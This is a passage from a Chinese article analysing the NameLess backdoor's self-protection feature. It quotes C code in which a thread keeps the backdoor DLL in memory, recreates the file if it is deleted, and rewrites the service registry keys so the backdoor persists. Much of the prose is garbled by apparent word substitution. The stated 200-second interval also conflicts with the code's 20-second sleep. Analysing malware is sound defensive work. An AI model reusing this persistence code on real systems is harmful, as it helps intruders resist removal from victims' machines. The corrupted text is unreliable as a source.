NameLess后门技术分析全接触(3)

  • 时间:
  • 浏览:4





作者: 论坛下发 zdnet网络安全

CNETNews.com.cn

2008-01-23 19:58:37

关键词: 攻击防范 后门 NameLess

四、自身保护

  作为另另一个后门,你不到假设肉鸡永远不需要发现你,本来具有一定的自我保护能力是都可不能否的,本来说不定随便另另一个新入门的菜鸟用守护进程就能把你Kill了都不 咧着嘴鄙视你:小样儿,就这水平还想出来混?

  NameLess在连接上上都可不能否通过输入命令Shield来启动保护功能,UnShield来停止,当人们歌词 来看下Shield的实现妙招,根据ExeCommand函数的提示变快找到了代码实现函数SetShieldStatus(指在./Command/Shield.h文件中),此函数很短,很清楚地都看它是通过创建另另一个ShieldThread守护进程来实现自我保护的,停止的话本来把你这俩守护进程给TerminateThread掉。当人们歌词 来删剪看下ShieldThread函数是怎样实现自我保护的。

  ShieldFlag = 1;

  strncpy(ProtectKey1,SubRoot,sizeof(ProtectKey1));

  strncat(ProtectKey1,ServerCFG.ServiceName,sizeof(ProtectKey1));

  strncpy(ProtectKey2,ProtectKey1,sizeof(ProtectKey2));

  strncat(ProtectKey2,"Parameters",sizeof(ProtectKey2));

  GetModuleFileName(HMODULE(hDll), DllFilePath,MAX_PATH);

  hDllFile = CreateFile(DllFilePath,GENERIC_READ,0,0,OPEN_EXISTING,

  FILE_ATTRIBUTE_NORMAL,0);

  SizeDll = GetFileSize(hDllFile,0);

  MemDll = VirtualAlloc(0,SizeDll,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

  ReadFile(hDllFile,MemDll,SizeDll,&BytesRead,0);

  CloseHandle(hDllFile);

  while(1)

  {

  hSearch =FindFirstFile(DllFilePath,&FileData);

  if(hSearch==INVALID_HANDLE_VALUE)

  {

  hDllFile = CreateFile(DllFilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,

  FILE_ATTRIBUTE_NORMAL,0);

  WriteFile(hDllFile,MemDll,SizeDll,&BytesRead,0);

  CloseHandle(hDllFile);

  }

  FindClose(hSearch);

  WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey1,"Start",REG_DWORD,NULL,2,1);

  WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey2,"ServiceDll",REG_EXPAND_SZ,

  DllFilePath,NULL,0);

  Sleep(20000);

  就不一句句分析了,大体流程是:取得DLL路径名->读妙招打开->获取文件大小->申请一块同样大小的内存->将文件内容读取到该块内存中->循环每200秒进行一次以下工作->查找该DLL是是是否是是指在->不指在则创建并将以上分配的内存块中数据写入该文件->将保护键值写入到注册表。

  你这俩妙招似乎有全都 疑问,可能它似乎并删剪都不 采用常用的双守护进程或在某个常驻守护进程中创建另另一个远守护进程,原本可能当DLL文件被删除、注册表被修改后马上将Rundll32守护进程始于英语 英语 掉就可能永远没妙招“复活了”。

  五、总结

  通过以上的简单分析,当人们歌词 都可不能否看出这款后门在技术上我我着实并很难 全都 创新的地方,但它的经典之指在于考虑疑问非常全面,并使用了本来 不常见的思路,尽最大努力做到了稳定。原本的编程思路对于当人们歌词 的学习非常值得借鉴,呵呵;另外值得一提的是这份工程代码非常规范,比如把读写注册表的操作封里装自定义的函数中这点就值得当人们歌词 借鉴。